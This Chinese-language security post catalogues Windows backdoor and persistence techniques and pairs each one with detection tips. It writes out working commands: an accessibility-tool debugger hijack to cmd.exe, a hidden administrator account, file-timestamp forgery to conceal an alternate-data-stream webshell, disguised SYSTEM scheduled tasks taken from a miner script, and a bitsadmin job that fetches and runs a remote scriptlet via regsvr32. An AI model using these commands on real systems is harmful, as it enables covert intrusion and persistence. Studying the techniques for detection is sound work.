TL;DR

  • Definition - What does Persistence mean?
    Persistence refers to object and process characteristics that continue to exist even after the process that created it ceases or the machine it is running on is powered off. When an object or state is created and needs to be persistent, it is saved in a non-volatile storage location, like a hard drive, versus a temporary file or volatile random access memory (RAM).
  • 这里把自己认知里面的一些windows backdoor和persistence的方式方法总结一下,并尽量持续更新。

常见backdoor和persistence方式方法

系统工具替换后门

Image 劫持辅助工具管理器
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f


  • 类似的程序有osk.exe、Narrator.exe、Magnify.exe等。
  • 优点:简单
  • 缺点:易被检测
  • 排查:工具autoruns
  • 20191016更新
    参考文章打造不一样的Shfit映像劫持后门
    用到了windows sdk里的gflags.exe工具(工具下载地址),这个工具里面有个silent process exit功能,大意是在调试某个程序静态退出的时候可以关联绑定某个程序去静默执行,工具对注册表一些键值进行了修改,此外通过autoruns工具检测不出来。

后门账号

  • 创建克隆administrator账号,且通过命令net user 以及控制面板中的管理账户无法看到。
    1.创建后门用户
    net user defaultuser0$ somepasswordhere /add /y
    net localgroup administrators defaultuser0$ /add
    net localgroup "remote desktop users" defaultuser0$ /add
    2.之后将administrator用户对应的Users中的F值复制替换后门账户的F值

    3.导出User下面的后门账户以及name下面的后门账户两个文件。

    4.通过命令删除刚才的后门用户
    net user defaultuser0$ /del
    5.通过注册表导入刚才保存的两个注册表

  • 参考文章 Windows系统的帐户隐藏

明文账号记录

  • 安全支持提供程序(SSP)是Windows API,用于扩展Windows身份验证机制。 LSASS进程在Windows启动期间加载安全支持提供程序DLL。这个时候攻击者可以将精心构造的dll加载之,这个dll可获取到lsass进程中的明文账号密码信息。mimikatz(mimilib.dll或memssp内存补丁方式)实现了这一功能,并把记录到的明文账号密码信息保存在本地。
  • 详见文章Persistence – Security Support Provider

文件隐藏

attrib命令隐藏

  • windows自带命令行工具attrib用来显示或更改文件属性。

    * 优点:简单,一般的工具(D盾)扫描不到
  • 优点:简单
  • 缺点:暂无
  • 排查:使用attrib命令或者D盾

使用ADS流隐藏webshell(重点!!)

  • 使用ADS流隐藏webshell,目前可过D盾扫描,注意ADS的一句话木马无法直接连接,可以使用php的include去包含执行


    文章参考:利用ADS隐藏webshell
    文章参考: Windows ADS在渗透测试中的妙用
  • 此外应该注意修改文件的timestamp,可使用如下的powershell命令或者使用NewFileTime工具
$(Get-Item ).creationtime=$(Get-Date "mm/dd/yyyy hh:mm am/pm")
$(Get-Item ).lastaccesstime=$(Get-Date "mm/dd/yyyy hh:mm am/pm")
$(Get-Item ).lastwritetime=$(Get-Date "mm/dd/yyyy hh:mm am/pm")
example:
Set the last-access time for a file aaa.csv to the current time:  $(Get-Item aaa.csv).lastwritetime=$(Get-Date)
Set the creation time of a file foo.txt to November 24, 2015, at 6:00am: $(Get-Item foo.txt).creationtime=$(Get-Date "11/24/2015 06:00 am")
  • 优点:较难检测
  • 缺点:暂无
  • 排查: dir /r

计划任务

  • schtasks和at命令,例如下面的命令
#from https://github.com/diggles9991/MG/blob/master/XMR/Hook.ps1#L12
# Update scheduled Start Task
SCHTASKS /Delete /tn "AdobeReaderUpdate" /f
SCHTASKS /Create /RU "SYSTEM" /tn "AdobeReaderUpdate" /sc Weekly /d * /st 18:00:00 /tr "powershell.exe C:\Windows\System32\drivers\en-US\etc\Line.ps1"

# Update scheduled End Task
# SCHTASKS /Delete /tn "AdobeReaderUpdateEnd" /f
SCHTASKS /Create /RU "SYSTEM" /tn "AdobeReaderUpdateEnd" /sc Weekly /d MON,TUE,WED,THU,FRI /st 06:00:00 /tr "powershell.exe Stop-Process -Name $processname"

# At command
at 1:00AM /Every:Saturday My_BackUp.bat 
在每个Saturday的早上1:00点,定时启动My_BackUp.bat批处理文件。
  • 优点:简单
  • 缺点:易被检测
  • 排查: schtasks /query 命令进行查询或者通过计算机的管理查看,注意在windows的中文版系统中,schtasks命令需要切换字符为美国英语格式,使用命令chcp 437,或者直接工具autoruns。

开机启动项

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
等
  • 优点:重启权限维持
  • 缺点:一般杀软均会拦截
  • 排查:一个一个手工查太麻烦,建议直接上autoruns。
  • 20191022更新
  • 利用windows原生API去创建regedit.exe不能展示和导出的键值对
  • 详见文章invisible Reg Values,缺点只是通过regedit.exe查看时候有隐藏效果,通过autoruns等工具还是会被发现。

服务

sc create [ServerName] binPath= BinaryPathName
  • 优点:重启权限维持
  • 缺点:一般杀软会拦截
  • 排查:工具autoruns

waitfor.exe

  • 不支持自启动,但可远程主动激活,后台进程显示为waitfor.exe
    详细参考
  • 优点:远程主动激活
  • 缺点:有waitfor进程
  • 排查:通过Process Explorer工具查看是否有waitfor.exe进程,并进一步查看启动参数等。

bitsadmin后门

  • Bitsadmin从win7之后操作系统就默认包含,可以用来创建上传或者下载任务。Bistadmin可以指定下载成功之后要进行什么命令。后门就是利用的下载成功之后进行命令执行。
#创建一个下载任务:
bitsadmin /create backdoor
#添加文档:
bitsadmin /addfile backdoor %comspec%  %temp%\cmd.exe
#设置下载成功之后要执行的命令:
bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"
#执行任务:
bitsadmin /Resume backdoor

WMI后门(重点!)

  • 在2015年的blackhat大会上Matt Graeber介绍了一种无文件后门就是用的wmi。更多可以参考
  • 在empire中有相应的module,作者参考使用了Powersploit里面的代码。

  • 后门在系统重启五分钟之内触发且是system权限。
  • 优点:无文件,相对来说难以排查
  • 缺点:暂无
  • 排查:工具autoruns

COM劫持

meterpreter 权限维持

  • meterpreter中的权限维持技术有两种,一种是metsvc的后门(服务后门),另外一种是persistence(注册表后门)
  • metsvc 是开机自启动的服务型后门

    metsvc代码
  • persistence模块是先上传vbs脚本并执行vbs脚本修改注册表HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run从而完成自启动。


    persistence代码
  • 优点:开机自启动
  • 缺点:容易被杀软杀
  • 排查:像是这种后门使用autoruns基本都可以排查出来。

Empire persistence模块(重点!!)

  • Empire是一款功能非常强大的后渗透攻击框架。其中的persistence模块提供了一系列权限维持方法。
  • 工具还把权限维持分为了四大类,userland(普通权限)、elevated(需要高权限)、powerbreach(内存权限维持,重启后失效)、miscellaneous(其它)。
  • 通过info命令查看使用方法

    更多可以参考文章
  • 优点:基本集成了大部分的权限维持方法
  • 缺点:暂无
  • 排查:工具autoruns

进程注入(重点!!)

  • 准确来说进程注入不是后门技术或者权限维持技术,而是一种隐藏技术,这里简单说一下empire的psinject、cobaltstrike的inject和meterpreter中的migrate进程注入,一般可以注入到像是lsass或者explorer这样的进程当中,相对比较隐蔽,较难排查。
  • 使用方法这里就不介绍了,主要说一下如何hunting。这篇文章TALES OF A BLUE TEAMER: DETECTING POWERSHELL EMPIRE SHENANIGANS WITH SYSINTERNALS里面介绍了如何hunting empire方法,empire有一些evasion detection机制,其中的网络连接时间设置能有效避开常见主机流量检测工具(包括netstat、tcpview)的检测,文章中也介绍了使用process monitor是最快也是最有效的方法。
  • 但是在hunting 进程注入的时候,并没有像文章中说的查找到以起始地址为0x0的线程,但会发现被注入的进程属性里会有.NET Assemblies和.NET Performance两个菜单。如下图所示
  • 优点:较难排查
  • 缺点:暂无
  • 排查:工具process explorer 、process monitor

BDF后门

IIS模块后门

手把手带你开发一款 IIS 模块后门

域环境后门

other

  • 除了以上的几种后门和权限维持技术外还有像是dll劫持、一些软件的插件后门、office后门等。
  • 抛砖引玉,更多windows backdoor方面最新文章可以关注国外安全研究员Casey Smith@subTee和Adam@Hexacorn。
  • 附上本人博客地址,欢迎一起交流学习:> https://kevien.github.io/

Reference

Intranet_Penetration_Tips
Nothing Lasts Forever: Persistence with Empire
EDR检测持久化Persistence入门
smbbackdoor

点击收藏 | 13 关注 | 1
登录 后跟帖